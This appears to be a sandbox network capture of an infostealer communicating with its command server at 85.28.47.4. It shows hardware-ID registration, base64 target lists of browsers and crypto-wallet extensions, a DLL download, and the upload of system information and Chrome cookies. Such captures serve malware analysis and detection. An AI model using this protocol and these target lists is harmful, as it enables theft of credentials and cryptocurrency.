Jun 27, 2024 07:37:06.901027918 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJE Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 42 38 43 44 38 35 31 36 39 32 41 33 32 34 35 37 38 32 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 2d 2d 0d 0a Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="hwid"DB8CD851692A3245782482------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="build"default------CGCFBFBGHDGDAKECAKJE--
Jun 27, 2024 07:37:07.521696091 CEST	384	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 57 4e 69 4f 44 63 33 59 54 5a 69 59 6a 4d 33 5a 47 4d 34 4e 44 63 78 4d 44 4a 6b 4e 57 46 69 5a 57 59 35 59 32 4d 34 5a 6d 4d 79 4d 57 52 6d 4d 7a 6c 69 4e 47 4e 6a 5a 54 42 6d 4e 6d 49 79 5a 47 4a 69 5a 57 5a 6d 59 6a 51 35 4d 6a 4d 31 59 7a 64 69 59 6a 6c 6c 59 54 4d 33 59 54 55 78 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: ZWNiODc3YTZiYjM3ZGM4NDcxMDJkNWFiZWY5Y2M4ZmMyMWRmMzliNGNjZTBmNmIyZGJiZWZmYjQ5MjM1YzdiYjllYTM3YTUxfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jun 27, 2024 07:37:07.524059057 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 2d 2d 0d 0a Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="message"browsers------HCAAEGIJKEGHIDGCBAEB--
Jun 27, 2024 07:37:07.701451063 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jun 27, 2024 07:37:07.701474905 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jun 27, 2024 07:37:07.703013897 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 2d 2d 0d 0a Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="message"plugins------DAEGIDHDHIDGIEBGIJEH--
Jun 27, 2024 07:37:07.882322073 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jun 27, 2024 07:37:07.882395029 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jun 27, 2024 07:37:07.882433891 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jun 27, 2024 07:37:07.882535934 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jun 27, 2024 07:37:07.882571936 CEST	700	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jun 27, 2024 07:37:07.886667013 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="message"fplugins------CFIEHCFIECBGCBFHIJJK--
Jun 27, 2024 07:37:08.062573910 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jun 27, 2024 07:37:08.101134062 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBK Host: 85.28.47.4 Content-Length: 7343 Connection: Keep-Alive Cache-Control: no-cache
Jun 27, 2024 07:37:08.101171017 CEST	7343	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 Data Ascii: ------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jun 27, 2024 07:37:08.837434053 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 07:37:09.146354914 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 07:37:09.321166992 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jun 27, 2024 07:37:09.321203947 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jun 27, 2024 07:37:09.321254015 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 27, 2024 07:37:09.321393967 CEST	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR
Jun 27, 2024 07:37:09.321429014 CEST	1236	IN	Data Raw: 80 75 11 8d 4b 01 c1 e2 06 89 08 8a 0b 83 e1 3f 01 ca eb e3 83 fa 7f 76 22 89 d0 25 00 f8 ff ff 3d 00 d8 00 00 74 14 89 d0 83 e0 fe 3d fe ff 00 00 b8 fd ff 00 00 0f 44 d0 eb 05 ba fd ff 00 00 89 d0 5b 5d c3 89 d0 c3 55 89 c1 01 d0 85 d2 ba ff ff Data Ascii: uK?v"%=t=D[]USI1t9sAvuA@[] gatU$1UttA$Q]tMay?U[]DWVS~8u:TuT0A
Jun 27, 2024 07:37:10.521348000 CEST	948	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB Host: 85.28.47.4 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; 